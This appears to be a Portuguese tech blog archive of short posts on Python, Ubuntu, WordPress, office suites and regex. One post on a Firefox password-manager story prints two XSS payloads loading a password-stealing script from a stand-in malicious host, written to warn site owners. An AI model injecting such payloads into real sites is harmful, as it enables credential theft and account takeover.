Meu amigo DGmike publicou: Retornando o último número (script PHP)
Como eu acho interessante comparar soluções em linguagens diferentes, resolvi escrever o mesmo script em Python. Veja como ficou:
import re def ultimoNumero(string): return re.findall(r"\d+",string)[-1]
Gostou?
Momento Jabá:
Oficina de WordPress Visie: WordPress é a mais poderosa ferramenta de blogging da atualidade. É a ferramenta usada em todos os blogs aqui da Visie, e em boa parte dos blogs
mais populares do Brasil e do mundo. Extremamente simples de usar, facilmente configurável e poderosamente extensível, WordPress ainda por cima é open source e completamente gratuito.
WordPress é a ferramenta por trás desse blog. A idéia da oficina nasceu numa conversa com o Juliano Spyer, no Blogcamp. Teremos um dia para quem quer aprender o básico de WordPress para, por exemplo, criar seu próprio blog, um dia para designers, falando de temas para WordPress e um dia para programadores em que vamos construir plugins e ferramentas que se integrem ao WordPress.
O novo Ubuntu 7.10 está maravilhoso. Até o 7.04 eu usava um hack para fazer funcionar minha placa de rede, agora ela funciona sem truques. O compiz já instalado funcionou sozinho, bem direitinho. O resto tudo também funcionou sem dor. Menos o PSE.
Por algum motivo estranho, a versão do mod_python (3.3.1) desse novo Ubuntu reclama de sei lá o que. A versão anterior (3.1.3) funcionava sem problemas. Dei um jeito aqui de colocar para funcionar. Não sei se é uma boa saída, se alguém tiver uma sugestão melhor, por favor.
Segue a receita de bolo para instalar o PSE no novo Ubuntu:
- Instale os pacotes necessários:
sudo apt-get install apache2 libapache2-mod-python python-profiler build-essential latex2html - Baixe o PSE:
wget http://nick.borko.org/pse/PSE-3.0.6.tar.gz - Extraia o código fonte:
tar -xzvf PSE-3.0.6.tar.gz - Entre na pasta:
cd PSE-3.0.6 - Compile e instale:
sudo python setup.py install - Edite o arquivo de configuração do Apache:
sudo gedit /etc/apache2/apache2.conf
Acrescente ao final:
PythonHandler pse_handler
AddHandler python-program .pt - Aqui vai o hack:
sudo gedit /usr/lib/python2.5/site-packages/mod_python/importer.py
Encontre a linha 303, que deve ser:
return __import__(module_name, {}, {}, '*')
E edite para ficar:
return __import__(module_name, {}, {}) #, '*')
Cuidado para não quebrar a identação! - Reinicie o Apache:
sudo invoke-rc.d apache2 restart
Pronto, deve funcionar. Aqui para mim foi só isso.
Falta uma semana para lo dia internacional de hablarse portuñol. Fica aqui minha contribuição ao ócio e falta do que fazer, fruto de uma tarde de feriado entediante: tradutor automático de sites português-portunhol. Você pode, por exemplo, ver este site traduzido para o portuñol.
Tomara que você ache tão divertido de usar quanto eu achei construí-lo.
Ao utilizar expressões regulares em Python, por padrão, seu texto é interpretado como uma seqüência de caracteres ASCII comum. Assim, caracteres acentuados são considerados sinais gráficos especiais, e não são capturados como letras. Veja este exemplo:
>>> import re
>>> print re.sub(r"\b","|","era uma criança")
|era| |uma| |crian|ç|a|
Como você pode ver, o ce-cedilha não é considerado uma letra, “quebrando” a palavra. Resolver isso é muito fácil, basta compilar a expressão regular passando a flag L, para que ela siga o locale de sua máquina, ou a flag U, para que ela trabalhe com unicode. No meu caso, em que o locale da máquina é unicode, tanto faz. Veja como funciona:
>>> import re
>>> c=re.compile(r"\b",re.U)
>>> print c.sub("|",u"era uma criança")
|era| |uma| |criança|
Só não se esqueça de trabalhar com strings unicode.
Um amigo meu está fazendo faculdade, e começando a aprender a programar (com Java.) Ele me mostrou semana passada um exercício que o professor passou:
- Solicitar que o usuário informe um número inteiro que será usado como limite superior do contador.
- O programa deverá exibir todos os números pares existentes entre 1 e o limite superior (informado via teclado pelo usuário).
- Após a exibição dos números o programa deverá perguntar se o usuário deseja executar mais uma vez.
Por curiosidade, eu escrevi uma solução em Python:
continuar=True
while continuar:
numero=int(raw_input("Informe o valor inicial da repeticao: "))
print str(range(2,numero+1,2))[1:-1]
continuar=raw_input("Continuar? (S/N) ").upper()!="N"
Update: inspirado nos comentários do Rafael Santini, uma solução com break fica mais elegante:
while 1:
numero=int(raw_input("Informe o valor inicial da repeticao: "))
print str(range(2,numero+1,2))[1:-1]
if raw_input("Continuar? (S/N) ").upper()=="N":break
A IBM lançou seu pacote de escritórios gratuito, o Lotus Symphony. Instalei aqui para testar. Para começar, ele não é “baseado no OpenOffice.org” como muitos sites por aí andam dizendo. Ele lê arquivos do formato ODF, o formato criado pela OpenOffice.org, e talvez tenha algum código ali realmente aproveitado do OpenOffice.org, mas ele é baseado mesmo é no Eclipse. Sim, é isso que você entendeu, o Symphony é construído sobre o Eclipe, em Java, lento, lento, lento… Leva uma eternidade para carregar e demora um bocado a responder a alguns comandos. Fica praticamente impossível de se usar.
A primeira coisa curiosa é que o instalador para Linux coloca o programinha que desinstala o Symphony num lugar escondido e não avisa o usuário. Então fica a dica para você que usa Linux e, como eu, instalou o Symphony e se arrependeu o instalador está em:
/opt/ibm/lotus/Symphony/_uninst/uninstaller.bin
Outra coisa interessante é que a interface do programa ficou muito boa. O investimento em usabilidade que a IBM tem feito há anos, o que eles chamam de User Centered Design, tem dado resultado. O problema é que o software é tão lento que é insuportável usá-lo mesmo tendo uma excelente interface.
Se você já é usuário de OpenOffice.org, não vejo nenhum bom motivo para tentar o Symphony. Se não é usuário de OpenOffice.org, por favor, não instale o Symphony. Tente o OpenOffice.org.
Para mim o Symphony serviu mesmo para mostrar o poder de um padrão aberto. Tenho em minha máquina agora três pacotes de escritório: KOffice, OpenOffice.org e IBM Lotus Symphony, e os três trabalham com exatamente o mesmo formato de arquivo. Sem segredos, sem royalties, sem truques. Inclusive a compatibilidade entre eles é muito boa. E qualquer um pode fazer um programa que trabalha com o mesmo formato.
Veja, por exemplo, como é simples fazer um shell script que exporta um documento ODT para texto:
#!/bin/bash
mkdir .tmp_odt2txt
cp $1 .tmp_odt2txt
cd .tmp_odt2txt
unzip $1
cd ..
sed -e "s/<text:p[^>]*>/\n/g" .tmp_odt2txt/content.xml|sed -e "s/<[^>]*>//g" > $1.txt
rm -rf .tmp_odt2txt
Como estamos falando de um padrão aberto, usamos ferramentas simples disponíveis em qualquer Unix e lemos o arquivo. Tente fazer isso com um documento do Microsoft Word e você vai entender o que eu quero dizer.
Quanta gente, ao pensar na idéia de migrar de WYSIWYG para edição de código, se pergunta: “mas não vai ser improdutivo se eu tiver que escrever tudo à mão?”
Nosso amigo Michael dá uma boa ajuda para quem está com essa dúvida em seu vídeo “Macros para Produtividade”.
Claro, isso é só o começo. Mas é um excelente começo. E quanta gente eu vejo por aí que não sabe o básico!
Para atender a um cliente, escrevi agora um pequeno plugin para WordPress. Você pode fazer download do plugin aqui:
http://elcio.com.br/download/dirtyinclude.zip (497 bytes)
Depois, basta descompactá-lo na pasta wp-content/plugins em seu diretório do WordPress. Tendo feito isso, acesse o administrador do WordPress, clique em “Plugins” (“Extensões” na versão em português) e ative o plugin. Pronto, está funcionando.
Para incluir um arquivo em um post basta, ao editar o post, escrever: [[[include:/caminho/ate/seu/arquivo.php]]] e o arquivo será incluído. O caminho é relativo ao diretório base do WordPress. Funciona tanto com o editor visual quanto com o editor de código. Atenção! Se você tem usuários não confiáveis, por exemplo, se permite que seus usuários se cadastrem e postem, não deve usar esse plugin. É perigoso…
Naturalmente, o plugin acaba de ser escrito e não foi exaustivamente testado. Se você tiver sugestões de melhorias ou achar bugs, por favor, avise.
Meus comentários:
- WordPress é fantástico! Essa API para a criação de plugins é fabulosa. É muito fácil escrever um plugin que faz bem seu trabalho sem atrapalhar todo o resto.
- Continuo não gostando de PHP, mas dá para trabalhar com isso. Se metade do código mundo a fora tivesse a qualidade do WordPress, já ajudaria muito.
- Vou dizer de novo: se você não sabe expressões regulares
, precisa aprender!
Ei, está legal isso aqui: http://www.eyeos.info/

Não é útil, mas dá uma boa idéia a respeito do que é possível fazer.
Veja como essa notícia no Terra explica mal as coisas e espalha o terror:
A versão mais recente do navegador Firefox, a 2.0.0.5, possui uma falha em seu gerenciador de senhas que pode permitir o acesso a elas por sites maliciosos. O problema só se manifesta se o Javascript
e o gerenciador de senhas estiverem acionados – o que é o padrão. Conforme o site Linux.com, a falha pode ser explorada com truques bastante antigos como o cross-site scripting, pequeno programa em um site que manipula objetos na máquina do usuário ou em outro site.
Quem tomar tempo para ler o anúncio da falha vai entender melhor. A falha não é no Password Manager. É uma falha de script-injection e XSS (cross-site scripting). Vou explicar em detalhes: se você tem um site em que os usuários inserem conteúdo, deve tomar cuidado para que eles não insiram javascript no conteúdo. Por exemplo, se os usuários cadastram uma descrição pessoal em seus perfis, e você simplesmente imprime esta descrição, corre sérios riscos. Alguém pode escrever, em sua descrição, algo como:
<script src="http://meusitemalicioso.com/scriptsqueroubamsenhas.js"></script>
Naturalmente, isso é muito perigoso! Não basta bloquear a tag script, você precisa se certificar de que o usuário não insira javascript na página de forma alguma. Por exemplo:
<img src="imagemqualquer.gif"
onload="document.getElementsByTagName('script')[0].src='http://meusitemalicioso.com/scriptsqueroubamsenhas.js'" />
Ou seja, é sua obrigação se certificar de que seus usuários não podem inserir javascript em nenhuma página de seu site. Isso porque o modelo de segurança do javascript está baseado na origem do script. Scripts numa página podem acessar qualquer coisa dentro daquele domínio. Então, se você permite que seus usuários usem a técnica acima, eles podem fazer com que os usuários que acessarem o perfil/post/comentário malicioso:
- Tenham suas contas canceladas. Basta que o script crie um iframe oculto, carregue a URL de cancelamento de conta nele, aguarde alguns segundos e clique no botão “Sim, eu tenho certeza”
- Tenham suas senhas modificadas. De novo, no frame oculto. Carregando o formulário de mudança de senha, preenchendo e submetendo. Se não houver validação de referer, isso pode ser feito inclusive sem o iframe, usando o objeto XMLHTTPRequest (via Ajax
).
- Enviem mensagens para todos os usuários do site, transfira todas as suas comunidades para um determinado perfil, veja o site em cor de rosa com uma foto do Reginaldo Rossi no logo e o que mais o agressor quiser.
Tudo o que eu descrevi acima funciona em qualquer navegador. Não se trata de uma falha no navegador, mas de uma falha no site. Bom, o que o pessoal da heise descobriu é que um agressor pode criar um formulário de login falso, e se você salvou a senha daquele site o Firefox, o Safari e o Konqueror vão preencher o formulário automaticamente. E esse formulário pode ser lido pelo script do agressor. Ora, o sujeito pode virar o site de ponta cabeça, claro que também pode acessar o formulário de login! E isso só não funciona no IE porque ele não tem um password manager
Ou seja, a falha não é do Firefox, mas do site, que permite acesso irrestrito ao atacante. É um site em que você não deveria confiar, que você não deveria acessar, ou pelo menos não deveria acessar com a mesma senha do seu cartão do banco. O fato de um navegador não ter password manager não vai tornar o site mais seguro. A conclusão a que chega o pessoal da heise:
Da perspectiva dos usuários, significa que eles não deveriam confiar suas senhas ao password manager em sites que permitem aos usuários criar suas próprias páginas contendo scripts.
Grande coisa! Você não deveria confiar, de maneira nenhuma, em sites que permitem aos usuários criar suas próprias páginas contendo scripts. Não é só seu password manager que está em risco, e não importa que navegador você está usando.
Acabo de criar um CSS de impressão para este blog. Levei uns dez minutos.
O código ficou assim:
form,#sidebar,iframe,#otop,#respond,.navigation,.rec6,.linkk{
display:none;
}
h2{
margin:0;
}
.entry{
line-height: 150%;
}
#header h1{
margin:0;
padding:0;
font-size:24px;
}
#header .description{
padding:0;
}
h2{
padding:40px 0 0;
margin:0;
}
E o resultado:

Em suma: você esconde tudo o que não pode ser usado ou não faz sentido no papel (menus, formulários, etc.) e tenta não atrapalhar o usuário. Aliás, não dá para fazer muito mais do que isso. Os mecanismos de impressão dos navegadores foram feitos para simplificar as páginas e economizar tinta.
Fácil, não?
Coloquei os slides no slideshare, aqui.
E o Andrey Pedro Lefkum filmou a palestra inteira e publicou.
A resenha oficial:
A palestra apresentou ao público os Microformats, uma maneira de incluir novas características e possibilidades no HTML atual, oferecendo significado extra ao conteúdo e facilitando a criação de mash-ups. Comparou também a adoção inicial de Microformats com o padrão de adoção de novas tecnologias abertas, em especial o RSS. Por fim, demonstrou com exemplos práticos a simplicidade para se implementar Microformats e sua grande utilidade e flexibilidade.
Bom proveito!
Está todo mundo por aí falando sobre:
- Microsoft Surface, um computador-mesa realmente impressionante. Entre no site e veja alguns dos videozinhos que você vai entender.
- Google Gears, uma extensão para Firefox/Internet Explorer que permite ao desenvolvedor web guardar dados locais, na máquina do usuário.
- O Orkut agora permite que você cadastre feeds em seu perfil.
Quando olhei cada um desses lançamentos, tive a mesma reação: “Ah, grande coisa!”
Nenhuma dessas idéias é nova ou revolucionária. Começando pelo Surface, é uma coleção de idéias velhas. Já vimos parte delas implementada no iPhone e na maneira como o sujeito pode usar os dedos nele. A idéia de colocar um computador numa mesa ou permitir seu uso por mais de uma pessoa também não é nova. E a maquininha da Microsoft está saindo por 10 mil. Dólares.
O Google Gears merece um pouquinho de explicação antes de dizer que a idéia não é nova. O Gears tem três componentes importantes. O primeiro é um tipo de servidor proxy com cache local. É um pouquinho mais do que isso, mas no fim permite a uma aplicação web responder dados ao usuário uma única vez, e ele terá esses dados em sua própria máquina a partir daí. O segundo é um banco de dados local, que permite a uma aplicação web, por exemplo, funcionar offline. O terceiro é um mecanismo para fazer com que seus scripts possam ser executados em segundo plano, sem congelar o navegador. De verdade? Isso não é nem tão novo, nem tão revolucionário assim. Para o sujeito que está desenvolvendo um Gmail, pode fazer diferença. Mas para pequenas aplicações, ou mesmo as medianas, dessas que a gente desenvolve todo dia, tudo poderia ser resolvido com cookies e um pouquinho de inteligência, sem demandar a instalação de um plugin.
Por fim, os feeds no Orkut. Aqui a experiência de quem esperava algo realmente novo pode ser decepcionante. Leia os comentários do Charles Pilger sobre o assunto, por exemplo.
Apesar disso, há algo que pode realmente fazer diferença nesse tipo de produto: massa crítica, quantidade de usuários, visibilidade. O Surface pode mostrar ao mundo a idéia nova. Talvez eu nunca venha a ter um Microsoft Surface, mas quem sabe eu daqui a algum tempo comecem a vender o XingLing Surface, o Itautec Surface ou o Positivo Surface? Tenho perguntado ao auditório, nos Encontros Locaweb, quem usa leitores de feeds e quem fornece RSS de qualquer maneira. Num público de desenvolvedores, o número de pessoas que levantam suas mãos é assombrosamente baixo. Imagino que entre os seres humanos comuns este números deve ser ainda menor. Feeds no Orkut podem ser um excelente recurso educativo. Isso pode fazer muita gente descobrir o RSS.
Em relação ao Gears, assim como em relação ao Silverlight, que não está na lista acima porque já tem um tempo, acontece algo curioso. Quem teria coragem de apostar hoje numa tecnologia que exige a instalação de um plugin para que seu site seja usado? Se fosse qualquer empresa pequena que estivesse lançando um desses produtos, ele logo seria descartado como algo ridículo. Mas todo mundo tem suas em relação ao poder de empresas como a Microsoft ou o Google de fazer com que as pessoas instalem algo em suas máquinas.
Em suma, quando você tem metade da Internet usando seus produtos, as regras podem ser diferentes para você. E quando você lança um Google Notebook ou um Zune, as pessoas parecem se esquecer muito rápido que você fracassou.
Em relação ao fato de não haver nenhuma novidade nesses produtos, vale lembrar o que diz o Getting Real: uma boa idéia não vale quase nada, o que vale mesmo é uma boa execução. Embora o Surface não seja novo, parece pelos vídeos que foi executado de maneira exímia.
E, claro, a história dos computadores mostra que nem sempre os melhores vencem. Nada de certezas, por enquanto.
Links interessantes:
Achei muito interessante este artigo comparando a sintaxe de Smalltalk com Java. Implementei os mesmos exemplos em Python, para que você possa comparar a sintaxe:
Problema: cálculo de fatorial
def factorialRecursive(n):
if n<0:return 0
if n==0:return 1
return n*factorialRecursive(n-1)
Ou assim:
def factorialNonRecursive(n):
if n<0:return 0
return reduce(lambda a,b:a*b,[1]+range(1,n+1))
A recursividade pode parecer uma solução elegante, mas o consumo de memória é assombroso nesse caso, em qualquer linguagem. Calcular a fatorial de um número grande qualquer pode ser um problema com a recursividade. Por isso, prefira a versão não recursiva.
No novo Python 2.5 você pode fazer:
def fact(x): return (
0 if x<0 else
reduce(lambda a,b:a*b,[1]+range(1,x+1))
)
Aqui é difícil dizer qual é mais prática, Smalltalk ou Python. Você pode palpitar sobre qual é mais elegante, uma vez que as soluções são radicalmente diferentes, mas a escolha final é subjetiva.
Problema: imprimir os números de 1 a 10
Eu faria usando os recursos de programação funcional:
print "\n".join(map(str,range(1,11)))
Mas você pode preferir:
for i in range(1,11):
print i
De qualquer maneira, ponto para o Python aqui.
Problema: trabalhando com Collections
l=[
'Em Python,',
'chamamos as',
'collections',
'de "listas"',
]
print "\n".join(l)
Aqui, indiscutivelmente, ponto para o Python.
Problema: mostrar os pares e ímpares entre 1 e 10
for i in range(1,11):
print i,["is even","is odd"][i % 2]
Novamente, o Python ganha disparado.
Problema: invocar um método via Reflection
É bem fácil:
o=MyClass()
getattr(o,"showMessage")()
Aqui o páreo é duro, Python e Smalltalk correm cabeça-a-cabeça. Na minha opinição, Python ganha por um focinho.
Para saber mais sobre Python recomendo o PythonBrasil.
Além disso, sou professor do Curso de Python da Visie.
Deve-se perceber que nenhum engenheiro de software eticamente preparado jamais vai consentir em escrever uma procedure DestroyBaghdad. A ética profissional básica vai, por outro lado, pedir dele que escreva uma procedure DestroyCity, para a qual Baghdad possa ser passada como um parâmetro.
Mais aqui, inclusive muitos links sérios e interessantes.
Para os que gostam da história da informática: o primeiro computador em que eu programei na vida foi um Sinclair ZX Spectrum, que aqui no Brasil se chamava TK-90X. Pois não é que o saudoso micrinho fez 25 anos mês passado?
Baixei nos repositórios do Ubuntu o xspec, um emulador de Spectrum, para ver se eu ainda sabia alguma coisa de BASIC, e fiz um videozinho para que os mais novos nesse negócio possam ver um pouquinho de como foi o início da programação em microcomputadores:
Ah, que saudades!
Dashboard, Exposè, estilo Aqua, tudo já foi copiado no elegante Mac OS X. Mas a marca registrada do sistema ainda é o Dock. Há uma porção de cópias interessantes para o Dock em diversos ambientes. Mas, com javascript e CSS, eu nunca tinha visto uma razoável. Até que vi essa aqui. Veja esse Dock rodando nesse exemplo.
Muito bom. Tanto o código quanto o resultado visual.
Ah, se você tiver um tempinho para estudar o código, vai passar a odiar um pouquinho mais o Internet Explorer
Exemplos de expressões regulares PHP. Expressões prontas para uma porção de coisas.
Seguem também uns exemplos brasileiros bem comuns:
CPF='\b([0-9]{3}\.?){3}-[0-9]{2}\b'
CNPJ='\b[0-9]{2,3}\.?([0-9]{3}\.?){2}\/[0-9]{4}-[0-9]{2}\b'
CEP='\b[0-9]{2}\.?[0-9]{3}-[0-9]{3}\b'
Expessões regulares permitem fazer com uma linha de código coisas que, de outra forma, levariam um bocado de código e tempo. Veja, por exemplo, este trecho de Javascript:
// Exibe o texto da página, removendo todas as tags
t=document.body.innerHTML
t=t.replace(/<.*?>/g,"")
t=t.replace(/[ \t]+/g," ")
t=t.replace(/(\n ?)+/g,"\n")
Pode dar um pouco de trabalho aprender expressões regulares, mas eu garanto que o tempo que você investir nisso se paga muito rápido.
Sobre as grandes diferenças: Coisas que posso fazer em Linux e em windows não
Sobre as semelhanças (e as pequenas diferenças): Linux x Windows
Se você trabalha com internet, essa série deve interessá-lo:
- Programas de Desenho Vetorial
- Programas de Edição de Tratamento Imagens
- Programas de Edição de Código
- Rodando um servidor Apache com PHP e MySQL
- Navegadores e Clientes de FTP
Por falar nisso, no terceiro artigo dessa série o araujo perguntou nos comentários:
Como você, vim do Windows/DreamWeaver para Linux/?(ainda). Gostei do
que vi no QuantaPlus, realmente é excelente, porém um das vantagens que
eu via ao usar o DreamWeaver com seu FTP era
o de ter sempre a certeza de pegar a última versão do programa e não
precisar me preocupar em enviar o arquivo certo e se está na última
versão. Eu abria o arquivo direto do ftp, ele baixava o último
(inclusive as dependências) abria na minha tela, eu editava (um ou mais
de um) salvava e o DreamWeaver já efetuava o Upload. Eu gostaria de
saber como é o seu procedimento agora. De repente eu também mudo e vejo
as vantagens. Sempre devemos estar aberto a aprender, né?
Tentei responder por lá, mas o sistema matemático parece funcionar com uma matemática diferente da minha. Então minha resposta vai aqui:
araujo,O Kate faz isso que você está querendo. Ele tem uma barra lateral de navegação em arquivos. Você pode adicionar um favorito ali no formato:
ftp://usuario:senha@servidor.com.br/pasta
Também suporta uma série de outros protocolos, como o sftp. Adicionando o favorito, é só clicar nele que o Kate lista os aruqivos e pastas. Clicando num arquivo o Kate abre diretamente do FTP, e se você salvar, salva direto lá também.
A dobradinha nautilus/gedit também torna isso transparente para você. Se você se conecta a um servidor de FTP pelo nautilus, pode clicar com o botão direito em qualquer arquivo e escolher “Abrir com Editor de Textos”. O nautilus também coloca o servidor de FTP como um dos caminhos possíveis nas caixas de abrir e salvar do gedit.